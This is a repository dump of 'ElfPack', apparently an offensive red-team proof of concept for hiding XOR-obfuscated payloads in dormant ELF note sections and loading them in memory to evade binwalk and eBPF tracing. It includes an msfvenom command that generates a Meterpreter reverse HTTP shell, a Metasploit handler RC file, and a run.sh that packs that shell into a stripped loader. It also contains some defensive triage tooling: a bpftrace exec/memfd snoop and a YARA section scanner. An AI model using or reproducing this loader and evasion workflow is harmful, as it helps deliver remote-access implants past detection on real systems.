├── .gitignore ├── CMakeLists.txt ├── README.md ├── aux ├── msfrc └── triage │ ├── elfpack_BPF_snoop_rules.bt │ ├── elfpack_stix.py │ ├── elfpack_yar.py │ └── elfpack_yar.requirements.txt ├── build.sh ├── docs ├── .DS_Store ├── ELF-sectional.pdf └── images │ ├── ELF-SCAP.png │ ├── ELF-Section-object.png │ ├── ELF-Structured-section-SHT_NOTE.png │ ├── ELF-YARA-verified-test.png │ ├── ELF-YARAr-verified.png │ ├── ELF-attachment-workflow.png │ ├── ELF-loader-section-rel.png │ ├── ELF-mettle.png │ ├── ELF-payload-userlan-exec-BPF-evasion.png │ ├── ELF-section-SHT_NOTE.png │ ├── ELF-section-docking-demo.png │ ├── ELF-sectionalied-msf-payload-binwalk.png │ ├── ELF-sections-PROGBITS.png │ └── Interp.png ├── run.sh ├── src ├── elfioutil.cpp ├── elfioutil.h ├── elfldr.cpp ├── elfldrlib.cpp ├── elfpack.cpp ├── include │ ├── elfldr.h │ └── elfpack.h └── lsecutil │ ├── lsecutil.c │ └── lsecutil.h └── vendor ├── include ├── cxxopts │ └── cxxopts.hpp ├── elfio │ ├── elf_types.hpp │ ├── elfio.hpp │ ├── elfio_array.hpp │ ├── elfio_dump.hpp │ ├── elfio_dynamic.hpp │ ├── elfio_header.hpp │ ├── elfio_modinfo.hpp │ ├── elfio_note.hpp │ ├── elfio_relocation.hpp │ ├── elfio_section.hpp │ ├── elfio_segment.hpp │ ├── elfio_strings.hpp │ ├── elfio_symbols.hpp │ ├── elfio_utils.hpp │ ├── elfio_version.hpp │ └── elfio_versym.hpp └── libreflect │ ├── reflect.h │ └── reflect_common.h └── lib └── reflect └── libreflect.a /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | bin/ 3 | cmake-build-debug/ 4 | CMakeCache.txt 5 | CMakeFiles/ 6 | Makefile 7 | cmake_install.cmake 8 | liblsecutil.a 9 | -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.18) 2 | project(elfpack) 3 | 4 | set(CMAKE_CXX_STANDARD 17) 5 | set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Qn") 6 | set(CMAKE_RUNTIME_OUTPUT_DIRECTORY "${CMAKE_BINARY_DIR}/bin") 7 | set(ELFPACK_EXE elfpack ) 8 | set(ELFLDR_EXE elfldr ) 9 | set(ELFPACK_SRC ${PROJECT_SOURCE_DIR}/src ) 10 | 11 | include_directories(${ELFPACK_SRC}/include) 12 | include_directories(${ELFPACK_SRC}) 13 | include_directories(${PROJECT_SOURCE_DIR}/vendor/include) 14 | 15 | # Build lsecutil library 16 | add_library(lsecutil STATIC ${ELFPACK_SRC}/lsecutil/lsecutil.c) 17 | 18 | # Build exe 19 | add_executable(${ELFPACK_EXE} ${ELFPACK_SRC}/elfpack.cpp src/elfioutil.cpp) 20 | target_link_libraries(${ELFPACK_EXE} lsecutil) 21 | 22 | # Import external library and build 23 | add_executable(${ELFLDR_EXE} ${ELFPACK_SRC}/elfldr.cpp ${ELFPACK_SRC}/elfldrlib.cpp src/elfioutil.cpp src/elfldrlib.cpp) 24 | target_link_libraries(${ELFLDR_EXE} lsecutil ${PROJECT_SOURCE_DIR}/vendor/lib/reflect/libreflect.a) 25 | 26 | set_target_properties(${ELFPACK_EXE} PROPERTIES 27 | RUNTIME_OUTPUT_DIRECTORY_DEBUG ${PROJECT_SOURCE_DIR}/bin/${CMAKE_BUILD_TYPE} 28 | RUNTIME_OUTPUT_DIRECTORY_RELEASE ${PROJECT_SOURCE_DIR}/bin/${CMAKE_BUILD_TYPE} 29 | ) 30 | set_target_properties(${ELFLDR_EXE} PROPERTIES 31 | RUNTIME_OUTPUT_DIRECTORY_DEBUG ${PROJECT_SOURCE_DIR}/bin/${CMAKE_BUILD_TYPE} 32 | RUNTIME_OUTPUT_DIRECTORY_RELEASE ${PROJECT_SOURCE_DIR}/bin/${CMAKE_BUILD_TYPE} 33 | ) 34 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ElfPack: ELF Binary Section Docking for Stageless Payload Delivery 2 | 3 | ### Highlights 4 | - Overview of payload bundling mechanisms: compilation,linking and loading. 5 | - Binary compatibility and creation of loosely coupled payloads to their delivery mechanism. 6 | - Avoiding automatic memory loading of sections. 7 | - Use of structured section types. 8 | - In-field payload (re-) attachment to loaders via ELF sections. Bring your own payload. 9 | - Signature evasion with detached precompiled ELF sections. 10 | - Drive-by payload attachments to loaders with ayload generation pipeline. 11 | - Creation of fat payload binaries and the case for avoidance of binary packers. 12 | - Packing complex payloads. 13 | - Payload obfuscation and key protection options. 14 | - Static and dynamic paylaod loading tracing resistance. Binwalk and eBPF. 15 | 16 | ## Embedding payloads 17 | 18 | ### Hex-binary Inclusion with compilation and linking 19 | 20 | 1. Directly in default data section or text: 21 | Normally, the compiler places the objects it generates in sections like `.data`. 22 | 23 | payload.h: 24 | ```c 25 | const data[3432] = { 26 | 0x43, 0x28, 0x41, 0x11, 0xa3, 0xff, 27 | ... 28 | 0x00, 0xff, 0x23 29 | }; 30 | ``` 31 | Achieved manually or with tools like `bin2c` or `xxd -i payload.bin > payload.h` with further header inclusion. 32 | 33 | Storing payloads in `.text` and `.data` in a generic fashion is also a bad idea due to ease of loading tracing,and introspection of behavioral semantics of loading data for execution. 34 | 35 | 36 | 2. In a separate section. 37 | You can place payload data in additional sections, or you need certain particular variables to appear in special sections. This is achieved with a compiler dependent mechanism. In gcc, it's done via `__attribute__`'s. This is a bit better but still well traceable due to how ELF is created and loaded. 38 | 39 | ```c 40 | char stack[10000] __attribute__ ((section ("binstack"))) = { 41 | 0x43, 0x28, 0x41, 0x11, 0xa3, 0xff, 42 | ... 43 | 0x00, 0xff, 0x23 }; 44 | int init_data __attribute__ ((section ("bindata"))) = 0; 45 | 46 | main() 47 | { 48 | /* Initialize stack pointer */ 49 | init_sp (stack + sizeof (stack)); 50 | 51 | /* Initialize initialized data */ 52 | memcpy (&init_data, &data, &edata - &data); 53 | } 54 | ``` 55 | 56 | 3. Linker binary inclusion 57 | 58 | Assembler dependent `.incbin`-like directive can create a section and embed a payload. 59 | Ex: `gcc -c payload.s` or `ld -r -b payload.bin -o payload.o` 60 | 61 | ```s 62 | .section .bindata 63 | 64 | .global payload_start 65 | .type payload_start, @object 66 | 67 | .section .binddata 68 | .balign 64 69 | 70 | payload_start: 71 | .incbin "payload.bin" 72 | .balign 1 73 | payload_end: 74 | .byte 0 75 | ``` 76 | 77 | With further retrieval in loader as: 78 | 79 | ```c 80 | int main(void) { 81 | extern uint8_t payload_start; 82 | uint8_t *ptrPayload = &payload_start; 83 | ... 84 | } 85 | ``` 86 | _Note:_ We can include a fully functional ELF in the `payload.bin` which is important when it comes to creating "fat" binaries, containing elements of several toolkits. 87 | 88 | _Note:_: More ergonomic tools exist to accomplish the task, like `INCBIN` from @graphitemaster [link] 89 | 90 | A variation on the theme is inline ASM like so: 91 | 92 | ```c 93 | /* Raw image data for all embedded images */ 94 | #undef EMBED 95 | #define EMBED( _index, _path, _name ) \ 96 | extern char embedded_image_ ## _index ## _data[]; \ 97 | extern char embedded_image_ ## _index ## _len[]; \ 98 | __asm__ ( ".section \".rodata\", \"a\", " PROGBITS "\n\t" \ 99 | "\nembedded_image_" #_index "_data:\n\t" \ 100 | ".incbin \"" _path "\"\n\t" \ 101 | "\nembedded_image_" #_index "_end:\n\t" \ 102 | ".equ embedded_image_" #_index "_len, " \ 103 | "( embedded_image_" #_index "_end - " \ 104 | " embedded_image_" #_index "_data )\n\t" \ 105 | ".previous\n\t" ); 106 | EMBED_ALL 107 | 108 | /* Image structures for all embedded images */ 109 | #undef EMBED 110 | #define EMBED( _index, _path, _name ) { \ 111 | .refcnt = REF_INIT ( ref_no_free ), \ 112 | .name = _name, \ 113 | .data = ( userptr_t ) ( embedded_image_ ## _index ## _data ), \ 114 | .len = ( size_t ) embedded_image_ ## _index ## _len, \ 115 | }, 116 | static struct image embedded_images[] = { 117 | EMBED_ALL 118 | }; 119 | 120 | ``` 121 | _Note_: Notice PROGBITS in definition of a section, it will be important. 122 | 123 | **Compiler/linker-based paylaod binary inclusion is not ideal** 124 | 125 | There are tradeoffs: 126 | - The process of embedding is tightly coupled to the creation of payload loader. 127 | - What about payload format changes 128 | - By default data carrying section have PROGBITS flags set on it, and it will be PT_LOAD’ed into memeory by OS loader by default. We ma not want this. 129 | 130 | 131 | ### ELF disk/memory representation of a section 132 | 133 | ![ELF PROGBITS Diagram](docs/images/ELF-sections-PROGBITS.png) 134 | 135 | Type of section and flags set on the new section containing determine whether OS loader loads it in the memory upon executable launch. Some sections are loaded automatically by default, others are not (e.g. .symtab, .strtab) 136 | 137 | As offense, what effciencies can we get from that? 138 | 139 | ## Embedding payloads: take 2 140 | 141 | 1. We can avoid setting flags on sections that assume default loading in memory. 142 | 143 | 2. We can use a different type of section that does not load in memory. 144 | 145 | > A vendor or system engineer might need to mark an object file with special information that other programs can check for conformance or compatibility. Sections of type `SHT_NOTE` and program header elements of type `PT_NOTE` can be used for this purpose. 146 | 147 | In a latter case, we can see the use of this type of section in system binaries: 148 | ```sh 149 | $ readelf --sections /bin/tar | grep NOTE 150 | [ 2] .note.gnu.bu[...] NOTE 00000000000002c4 000002c4 151 | [ 3] .note.ABI-tag NOTE 00000000000002e8 000002e8 152 | ``` 153 | And can inspect their content: 154 | 155 | ```sh 156 | $ readelf -p .note.ABI-tag /bin/tar 157 | 158 | String dump of section '.note.ABI-tag': 159 | [ c] GNU 160 | ``` 161 | 162 | The end result of creating a `SHT_NOTE` section will look like this in the ELF: 163 | ![SHT_NOTE](docs/images/ELF-section-SHT_NOTE.png) 164 | 165 | Bonus: `SHT_NOTE` gets us structure if we need to use it ( and we will use it further): 166 | 167 | ![SHT_NOTE structure](docs/images/ELF-Structured-section-SHT_NOTE.png) 168 | 169 | ## ELF Section Docking 170 | 171 | So far we were able to create a section, avoid loading it in memory by the OS loader. The section is effectively dormant in the ELF image at the moment. We will discuss how we load it a bit later. 172 | However, a more pressing question is the fact that we are still operating at the compiler and linker level, and section is an object that gets woven into the structure of the final ELF, creating relationships and memory addresses from the loader code that references it's content. 173 | 174 | ![SHT_NOTE structure](docs/images/ELF-Section-object.png) 175 | 176 | What if we were able to create an ELF section with embedded payload **outside** of the loader compilation workflow, and attach that section at a later time to the loader binary. 177 | 178 | This would break the relationship of the loader code with the section interaction. Then we teach the loader how to find and load it's *foreign* data section, effectively "docking" a payload to a loader in a loosely coupled manner. 179 | 180 | Conceptually, our goals would be: 181 | - Loader should not be entangled with payload semantics 182 | - Loading and executing payload : 183 | - Without modifying loader code at all? 184 | - Without using OS loader ld.so (ELF loader) which is loading segments of payload in memory automatically. 185 | - In-field payload (re-)attachment. 186 | 187 | The loader/payload (in section) relationship would now look like this: 188 | 189 | ![Loader/Payload Relationship](docs/images/ELF-loader-section-rel.png) 190 | 191 | We can then create an injector which will introduce a payload section to the loader without either one operating at code level, only binary compatibility (and loader being aware how to load **any** payload section) 192 | 193 | ![ELF injector](docs/images/ELF-attachment-workflow.png) 194 | 195 | Some outcomes from such generic ELF section docking setup: 196 | 197 | 1. Static Elf loader can then be shipped on its own, devoid of payloads, only mechanisms to load a section on demand and bootstrap the payload from it. 198 | 199 | 2. Payload can be packaged separately and bundled with loader at any time as a static stage, or at a later time with an injector. The payload can often be encrypted, often be an ELF executable itself if needed, as long as the loader knows not the structure of the payload but it's packaging capabilities only. 200 | 201 | 3. Injector can broker attachment of sections from several binaries (dormant stages) to construct a section and inject into the loader. 202 | 203 | 4. There are advantages for section level construction vs. packing of multiple resources in executable. There is no overhead on detection for packer processing and code. There are wins in terms of carrying multiple sections with other tooling that relies on in-memory launch and cannot be easily packed due to how packers have to extract binaries into filesystem. (Far binaries section further) 204 | 205 | ## ELF docking components: 206 | 207 | Let's discuss the ELF section docking components in greater detail. 208 | 209 | ### Sectional ELF injector: 210 | Disposition: rear or in-field 211 | Advantages: 212 | - Agnostic loader to payload proxy 213 | - Streamlined payload generation pipeline 214 | - In field payload to loader attachment without compilers if needed 215 | 216 | ### Sectional ELF loader: 217 | Disposition: in-field 218 | Advantages: 219 | - Agnostic to attached payload 220 | - Loads full ELFs or shellcode (more possibilities) from reading and parsing its own binary. 221 | - If you need shellcode you can create a running elf out of it (e.g. Metasploit's mettle) 222 | - Tracing does not see mprotect()’s 223 | - Airgapped separation between where the payload is and normal .DATA arrays. 224 | - This achieves abstraction for tracers. 225 | - Ability to accept and forward arguments to payloads themselves 226 | 227 | ### Binary Payload: 228 | Advantages: 229 | - Payload is a fully functional program with less constraints, data, segments LDD intact. 230 | - It can be uniquely obfuscated without regard to space (.NOTE records are variable size) 231 | - It can be extracted to FS or run as part of a table of contents (fat payload loaders). 232 | - It does not need to be relocated, can be chained to other loaders. 233 | - Example of cross-attachment and detection evasion: Loader A reads Loader B’s payload. 234 | 235 | ## Evasion opportunities 236 | Strengthening ELF sectional injector/packer: 237 | - XOR’d payload but AES may be implemented. 238 | - XOR key metadata stored out in out of band watermark. 239 | - XOR keys are not disclosed. 240 | - Additional XOR’d data obfuscation possible. 241 | 242 | Strengthening ELF loader: 243 | - XOR’d payload default, but AES may be implemented. 244 | - XOR key metadata is mined in out of band watermark. 245 | - Separation of time of loader launch != time of payload load if needed. 246 | - Facility for daemonization (ability to work with userland exec amd memfd_create) 247 | - Possibility of evasion for payload entropy calculation and anti-carving: Binwalk does not see payload by default, can’t carve (example in demo: packing msfvenom'd payload) 248 | 249 | ## ELF section docking toolkit-specific loader discussion: 250 | 251 | A few words on the ELF sectional loader working with the payload launcher: 252 | 253 | Loader can utilize one of two in-memory payload execution mechanisms: 254 | 255 | - Option A : SYS_Memfd_create () 256 | - Done with libreflect[]link] but may be done with zombieant pre-loader[link] 257 | - More detectable at levels: 258 | j anonymous file in /proc/self/fd/ 259 | - uses sys_memfd_create (syscall #319) 260 | - Does fork/exec, BPF tracing for execve() will record. 261 | 262 | - Option B: User land Exec (https://grugq.github.io/docs/ul_exec.txt) 263 | - Done with libreflect for now. Nice interface. 264 | - Hollows out the loader and overlays with payload. 265 | - No sys_enter_exec /sys_exit_exec calls. BPF tracing for execve() not catching 266 | - Downside: you cannot daemonize via loader (loader memory kaput on overlay) 267 | but the payload can daemonize itself when launches: 268 | the beauty of shipping ELF binaries vs. shipping shellcode  269 | 270 | 271 | 272 | Workflow run: 273 | ![ELF injector](docs/images/ELF-mettle.png) 274 | ![ELF injector](docs/images/ELF-section-docking-demo.png) 275 | 276 | 277 | Binwalk's evasion opportunities after ELF sectional payload vs. MSF payload: 278 | ![ELF injector](docs/images/ELF-sectionalied-msf-payload-binwalk.png) 279 | 280 | eBPF evasion vs. ELF sectional packer: 281 | ![ELF injector](docs/images/ELF-payload-userlan-exec-BPF-evasion.png) 282 | 283 | ### Detection tooling: 284 | 285 | YARA Verifier and tests: 286 | ![ELF injector](docs/images/ELF-YARAr-verified.png) 287 | 288 | ![ELF injector](docs/images/ELF-YARA-verified-test.png) 289 | 290 | STIX tooling definition: 291 | 292 | ![ELF injector](docs/images/ELF-SCAP.png) 293 | 294 | 295 | ## Building ELFPack POC 296 | 297 | - For Cmake: before clean build run: `cmake --configure .` to configure your build environment. We support CMAke 3.18 atm. 298 | - `./build.sh` 299 | 300 | ### ELFPack Dependencies: 301 | - We use libreflect library for this POC from `https://github.com/rapid7/mettle` 302 | - it's built for you and distributed under `vendor/lib/reflect/libreflect.a` but can be rebuilt from the original repo if needed. 303 | - Runtime: If you would like to play with BPF and `bpftrace` polease install appropriate kernel headers for your distribution. 304 | 305 | ### Usage 306 | - Frontend: See `run.sh` 307 | - Backend: This PoC operates with mettle metasploit implant so to catch your traffic on the MSF server you would use `aux/msfrc` RC file likes so: 308 | ```shell 309 | msfconsole -r aux/triage/msfrc 310 | ``` 311 | - The MSF payload (mettle) may be generated as follows: 312 | ```shell 313 | msfvenom -p linux/x64/meterpreter_reverse_http LHOST=127.0.0.1 LPORT=4443 -f elf > ../elfpack_staging/mettle-shell.elf 314 | ``` 315 | - BPF tracing can be done as follows (you need root): 316 | ```shell 317 | sudo bpftrace aux/triage/elfpack_BPF_snoop_rules.bt 318 | ``` 319 | - YARA integration example via Python bindings can be seen in `aux/triage/elfpack_yar.py` 320 | ```shell 321 | ./aux/triage/elfpack_yar.py [elf_section] 322 | ``` 323 | 324 | 325 | 326 | -------------------------------------------------------------------------------- /aux/msfrc: -------------------------------------------------------------------------------- 1 | use exploit/multi/handler 2 | set ExitOnSession false 3 | set payload linux/x64/meterpreter_reverse_http 4 | set lhost 127.0.0.1 5 | set lport 4443 6 | exploit -j 7 | -------------------------------------------------------------------------------- /aux/triage/elfpack_BPF_snoop_rules.bt: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bpftrace 2 | /* 3 | * execsnoop.bt Trace new processes via exec() syscalls. 4 | * For Linux, uses bpftrace and eBPF. 5 | * 6 | * This traces when processes call exec(). It is handy for identifying new 7 | * processes created via the usual fork()->exec() sequence. Note that the 8 | * return value is not currently traced, so the exec() may have failed. 9 | * 10 | * TODO: switch to tracepoints args. Support more args. Include retval. 11 | * 12 | * This is a bpftrace version of the bcc tool of the same name. 13 | * 14 | * 15-Nov-2017 Brendan Gregg Created this. 15 | * 11-Sep-2018 " " Switched to use join(). 16 | */ 17 | 18 | BEGIN 19 | { 20 | printf("%-10s %-5s %s\n", "TIME(ms)", "PID", "ARGS"); 21 | } 22 | 23 | 24 | tracepoint:syscalls:sys_enter_exec* 25 | { 26 | printf("sys_enter_exec: %-10u %-5d ", elapsed / 1000000, pid); 27 | join(args->argv); 28 | } 29 | 30 | tracepoint:syscalls:sys_enter_memfd_create 31 | { 32 | printf("memfd_create_enter: %-10u %-5d ", elapsed / 1000000, pid); 33 | } 34 | tracepoint:syscalls:sys_exit_memfd_create 35 | { 36 | printf("memfd_create_exit: %-10u %-5d ", elapsed / 1000000, pid); 37 | } 38 | 39 | -------------------------------------------------------------------------------- /aux/triage/elfpack_stix.py: -------------------------------------------------------------------------------- 1 | 2 | # stdlib 3 | from pprint import pprint 4 | 5 | # python-cybox 6 | from cybox.common import ToolInformationList, ToolInformation 7 | 8 | # python-stix 9 | from stix.core import STIXPackage, STIXHeader 10 | from stix.common import InformationSource 11 | 12 | 13 | 14 | def main(): 15 | # Create a new STIXPackage 16 | stix_package = STIXPackage() 17 | 18 | # Create a new STIXHeader 19 | stix_header = STIXHeader() 20 | 21 | # Add Information Source. This is where we will add the tool information. 22 | stix_header.information_source = InformationSource() 23 | 24 | # Create a ToolInformation object. Use the initialization parameters 25 | # to set the tool and vendor names. 26 | # 27 | # Note: This is an instance of cybox.common.ToolInformation and NOT 28 | # stix.common.ToolInformation. 29 | tool = ToolInformation( 30 | tool_name="ELFPack", 31 | tool_vendor="X-Force, IBM Corporation" 32 | ) 33 | 34 | # Set the Information Source "tools" section to a 35 | # cybox.common.ToolInformationList which contains our tool that we 36 | # created above. 37 | stix_header.information_source.tools = ToolInformationList(tool) 38 | 39 | # Set the header description 40 | stix_header.description = "ELFPack STIX definitions" 41 | 42 | # Set the STIXPackage header 43 | stix_package.stix_header = stix_header 44 | 45 | # Print the XML! 46 | print(stix_package.to_xml(pretty=True)) 47 | 48 | # Print the dictionary! 49 | pprint(stix_package.to_dict()) 50 | 51 | 52 | if __name__ == '__main__': 53 | main() 54 | -------------------------------------------------------------------------------- /aux/triage/elfpack_yar.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import io 3 | import yara 4 | import hexdump 5 | 6 | import unittest 7 | 8 | 9 | class TestELFPack(unittest.TestCase): 10 | test_file = "" 11 | elf_section = "" 12 | def setUp(self): 13 | self.scanner = ELFPAckScanner(file_path=self.test_file) 14 | 15 | def test_list_probable(self): 16 | sections = self.scanner.elf_test_notes_sections() 17 | if len(sections) > 0: 18 | print("=== SHT_NOTES Sections in %s === " % self.test_file) 19 | for section_name, section_size in sections.items(): 20 | print('{0:25s} : {1:6d} bytes'.format(section_name, section_size)) 21 | 22 | def test_show_probable(self): 23 | section_data = self.scanner.elf_section_by_name(self.elf_section) 24 | if len(section_data) > 0: 25 | print("=== Section %s content ===" % self.elf_section) 26 | print(hexdump.hexdump(section_data)) 27 | 28 | 29 | class ELFPAckScanner: 30 | def __init__(self, file_path=None, rawdata=None): 31 | if file_path: 32 | file_object = open(file_path, 'rb') 33 | else: 34 | file_object = io.BytesIO(rawdata) 35 | file_object.name = "DummyFile.ext" 36 | self.file_name = file_object.name 37 | self.file_data = file_object.read() 38 | self.file_size = len(self.file_data) 39 | self.malware_name = 'ELFPack' 40 | self.res_data = b'' 41 | self.rules = "" 42 | file_object.close() 43 | 44 | def elf_test_notes_sections(self) -> dict: 45 | try: 46 | self.rules = yara.compile(source='import "elf" rule a { condition: false }') 47 | except yara.SyntaxError: 48 | print("Error using Yara ELF did you enable it?") 49 | section_names = {} 50 | 51 | def modules_callback(data): 52 | for i, section in enumerate(data.get('sections', [])): 53 | if section['type'] == 7: # SHT_NOTE 54 | section_names[section['name'].decode('utf-8')] = section['size'] 55 | return yara.CALLBACK_CONTINUE 56 | 57 | self.rules.match(data=self.file_data, modules_callback=modules_callback) 58 | 59 | return section_names 60 | 61 | def elf_section_by_name(self, resource_name): 62 | try: 63 | self.rules = yara.compile(source='import "elf" rule a { condition: false }') 64 | except yara.SyntaxError: 65 | print("Error using Yara ELF did you enable it?") 66 | 67 | def modules_callback(data): 68 | for i, section in enumerate(data.get('sections', [])): 69 | if section['name'].decode('utf-8') == resource_name: 70 | offset = section['offset'] 71 | length = section['size'] 72 | self.res_data = self.file_data[offset:offset + length] 73 | return yara.CALLBACK_CONTINUE 74 | 75 | self.rules.match(data=self.file_data, modules_callback=modules_callback) 76 | return self.res_data 77 | 78 | 79 | if __name__ == '__main__': 80 | if len(sys.argv) > 2: 81 | TestELFPack.elf_section = sys.argv.pop() 82 | 83 | if len(sys.argv) > 1: 84 | TestELFPack.test_file = sys.argv.pop() 85 | unittest.main(verbosity=0) 86 | else: 87 | print("Usage: %s [elf_section]" % (sys.argv[0]) ) 88 | 89 | 90 | -------------------------------------------------------------------------------- /aux/triage/elfpack_yar.requirements.txt: -------------------------------------------------------------------------------- 1 | cybox==2.1.0.21 2 | hexdump==3.3 3 | lxml==4.7.1 4 | mixbox==1.0.5 5 | ordered-set==4.1.0 6 | python-dateutil==2.8.2 7 | six==1.16.0 8 | stix==1.2.0.11 9 | weakrefmethod==1.0.3 10 | yara-python==4.1.3 11 | -------------------------------------------------------------------------------- /build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #cmake --build /home/dev/Code/elfpack/cmake-build-debug --target clean 3 | #cmake --build /home/dev/Code/elfpack/cmake-build-debug --target all 4 | cmake --config . 5 | cmake --build . --target clean 6 | cmake --build . --target all 7 | -------------------------------------------------------------------------------- /docs/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dsnezhkov/elfpack/dce518bd268a7f2664fe850748cc3891289e095d/docs/.DS_Store -------------------------------------------------------------------------------- /docs/ELF-sectional.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dsnezhkov/elfpack/dce518bd268a7f2664fe850748cc3891289e095d/docs/ELF-sectional.pdf -------------------------------------------------------------------------------- /docs/images/ELF-SCAP.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dsnezhkov/elfpack/dce518bd268a7f2664fe850748cc3891289e095d/docs/images/ELF-SCAP.png -------------------------------------------------------------------------------- /docs/images/ELF-Section-object.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dsnezhkov/elfpack/dce518bd268a7f2664fe850748cc3891289e095d/docs/images/ELF-Section-object.png -------------------------------------------------------------------------------- /docs/images/ELF-Structured-section-SHT_NOTE.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dsnezhkov/elfpack/dce518bd268a7f2664fe850748cc3891289e095d/docs/images/ELF-Structured-section-SHT_NOTE.png -------------------------------------------------------------------------------- /docs/images/ELF-YARA-verified-test.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dsnezhkov/elfpack/dce518bd268a7f2664fe850748cc3891289e095d/docs/images/ELF-YARA-verified-test.png -------------------------------------------------------------------------------- /docs/images/ELF-YARAr-verified.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dsnezhkov/elfpack/dce518bd268a7f2664fe850748cc3891289e095d/docs/images/ELF-YARAr-verified.png -------------------------------------------------------------------------------- /docs/images/ELF-attachment-workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dsnezhkov/elfpack/dce518bd268a7f2664fe850748cc3891289e095d/docs/images/ELF-attachment-workflow.png -------------------------------------------------------------------------------- /docs/images/ELF-loader-section-rel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dsnezhkov/elfpack/dce518bd268a7f2664fe850748cc3891289e095d/docs/images/ELF-loader-section-rel.png -------------------------------------------------------------------------------- /docs/images/ELF-mettle.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dsnezhkov/elfpack/dce518bd268a7f2664fe850748cc3891289e095d/docs/images/ELF-mettle.png -------------------------------------------------------------------------------- /docs/images/ELF-payload-userlan-exec-BPF-evasion.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dsnezhkov/elfpack/dce518bd268a7f2664fe850748cc3891289e095d/docs/images/ELF-payload-userlan-exec-BPF-evasion.png -------------------------------------------------------------------------------- /docs/images/ELF-section-SHT_NOTE.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dsnezhkov/elfpack/dce518bd268a7f2664fe850748cc3891289e095d/docs/images/ELF-section-SHT_NOTE.png -------------------------------------------------------------------------------- /docs/images/ELF-section-docking-demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dsnezhkov/elfpack/dce518bd268a7f2664fe850748cc3891289e095d/docs/images/ELF-section-docking-demo.png -------------------------------------------------------------------------------- /docs/images/ELF-sectionalied-msf-payload-binwalk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dsnezhkov/elfpack/dce518bd268a7f2664fe850748cc3891289e095d/docs/images/ELF-sectionalied-msf-payload-binwalk.png -------------------------------------------------------------------------------- /docs/images/ELF-sections-PROGBITS.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dsnezhkov/elfpack/dce518bd268a7f2664fe850748cc3891289e095d/docs/images/ELF-sections-PROGBITS.png -------------------------------------------------------------------------------- /docs/images/Interp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dsnezhkov/elfpack/dce518bd268a7f2664fe850748cc3891289e095d/docs/images/Interp.png -------------------------------------------------------------------------------- /run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ELFPACK="./bin/elfpack" 4 | ELFLDR="./bin/elfldr" 5 | 6 | HOST_ELF_FILE=${ELFLDR} 7 | WORK_DIR="/tmp/elfpack_staging" 8 | DST_ELF_FILE="${WORK_DIR}/injected-cradle" # Loader bootstrapping paylaod 9 | PAYLOAD_FILE="${WORK_DIR}/mettle-shell.elf" # ELF payload 10 | 11 | DST_ELF_SECTION=".note.gnu.buf[...]" 12 | DST_ELF_META_ALGO="X" 13 | DST_DESC_NAME=".rodata" 14 | XOR_KEY="" 15 | 16 | RED=$(tput setaf 1) 17 | GREEN=$(tput setaf 2) 18 | RESET=$(tput sgr0) 19 | 20 | 21 | if [[ $# -eq 0 ]] 22 | then 23 | echo "Need key. example ${0} 0x23" 24 | exit 1 25 | fi 26 | 27 | if [[ ! -d ${WORK_DIR} ]] 28 | then 29 | mkdir -p ${WORK_DIR} 30 | fi 31 | 32 | XOR_KEY=$1 33 | 34 | # Split arguments to injected cradle from the packer 35 | PAY_OPTS=("$@") 36 | PAY_OPTS=("${PAY_OPTS[@]:1}") # removes the first element 37 | 38 | 39 | if [[ -f $DST_ELF_FILE ]] 40 | then 41 | /bin/rm $DST_ELF_FILE 42 | fi 43 | 44 | 45 | #echo [TASK: OPTIONAL] "${GREEN}" ============= Generating payload: mettle shell ${RESET} ================ 46 | #echo "msfvenom -p linux/x64/meterpreter_reverse_http LHOST=127.0.0.1 LPORT=4443 -f elf \> ${WORK_DIR}/mettle-shell.elf" 47 | #msfvenom -p linux/x64/meterpreter_reverse_http LHOST=127.0.0.1 LPORT=4443 -f elf > ${WORK_DIR}/mettle-shell.elf 48 | 49 | echo [TASK] "${GREEN}"Packing payload with $ELFPACK ${RESET} 50 | printf "%s" "${GREEN} Injecting loader ${HOST_ELF_FILE} with payload ${PAYLOAD_FILE} into destination ${DST_ELF_FILE} with options: 51 | - as section ${DST_ELF_SECTION} 52 | - as TOC record ${DST_DESC_NAME} 53 | - with algo ${DST_ELF_META_ALGO} 54 | - with key: ${XOR_KEY} ${RESET} 55 | " 56 | 57 | echo [CMD] ${RED} $ELFPACK ${HOST_ELF_FILE} ${PAYLOAD_FILE} ${DST_ELF_FILE} "${DST_ELF_SECTION}" ${DST_DESC_NAME} ${DST_ELF_META_ALGO} "${XOR_KEY}" ${RESET} 58 | $ELFPACK ${HOST_ELF_FILE} ${PAYLOAD_FILE} ${DST_ELF_FILE} "${DST_ELF_SECTION}" ${DST_DESC_NAME} ${DST_ELF_META_ALGO} "${XOR_KEY}" 59 | 60 | echo [TASK] ${GREEN}Stripping symbols but not sections ${RESET} 61 | echo [CMD] ${RED} strip $DST_ELF_FILE ${RESET} 62 | strip $DST_ELF_FILE 63 | 64 | echo [TASK] ${GREEN}Prepareing package for execution ${RESET} 65 | echo [CMD] ${RED} chmod +rx $DST_ELF_FILE 66 | chmod +rx $DST_ELF_FILE 67 | 68 | echo [TASK:OPTIONAL] ${GREEN} Executing package ${DST_ELF_FILE} ${RESET} 